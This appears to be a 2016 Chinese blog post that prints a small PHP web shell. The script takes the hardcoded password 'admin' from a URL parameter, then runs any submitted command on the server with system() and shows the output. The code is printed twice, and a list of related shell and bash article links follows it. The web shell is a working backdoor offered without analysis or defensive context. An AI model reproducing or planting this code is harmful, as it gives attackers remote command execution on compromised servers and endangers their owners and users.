//mywebshell.php
2016-04-16 09:41
579 查看
<?php
session_start();
if (isset($_SESSION['password']) || isset($_GET['password'])) {
$_SESSION['password']= isset($_GET['password'])?$_GET['password']:$_SESSION['password'];
if ($_SESSION['password']=='admin') {
if(isset($_POST['command']) && !empty($_POST['command'])) {
$command=$_POST['command'];
$ret=system($command,$out);
echo "<br>[$out]:[$ret]<hr>";
}
$strform=<<<FORM
<form method="post" action="mywebshell.php">
command:<textarea name="command" rows="5" cols="100"></textarea><br>
<input type="submit">
</form>
FORM;
echo $strform;
}
}
?>
session_start();
if (isset($_SESSION['password']) || isset($_GET['password'])) {
$_SESSION['password']= isset($_GET['password'])?$_GET['password']:$_SESSION['password'];
if ($_SESSION['password']=='admin') {
if(isset($_POST['command']) && !empty($_POST['command'])) {
$command=$_POST['command'];
$ret=system($command,$out);
echo "<br>[$out]:[$ret]<hr>";
}
$strform=<<<FORM
<form method="post" action="mywebshell.php">
command:<textarea name="command" rows="5" cols="100"></textarea><br>
<input type="submit">
</form>
FORM;
echo $strform;
}
}
?>
相关文章推荐
- Linux后门入侵检测工具,附bash漏洞解决方法[转载]
- 利用“bash on windows”安装配置emscripten
- 三种类型博弈(bash + nimm +wythoff)
- Xshell连接虚拟机时,提示SSH服务器拒绝了密码
- arm-linux-gcc安装及自定义bash脚本环境变量设置
- linux下Bash编程字符测试与for循环语句(五)
- Linux Shell 脚本调试总结
- Linux Shell变量
- bat脚本调用Android中bash脚本,关闭bat后如何保持bash继续运行
- shell条件-循环-分支-函数
- shell mysql命令 传参数
- 学习shell 指令 压缩文件
- 常用Shell命令
- shell脚本中判断文件是否存在
- linux中shell 特殊变量$0 $n $* $@ $! $?的详解
- 同一Linux主机上共用shell寻求远程协助
- 解决bash: mysql: command not found 的方法
- shell 重定向
- 用c写cgi程序,不能在cgi程序中执行shell命令
- (转载)SQL Server 2005 如何启用xp_cmdshell组件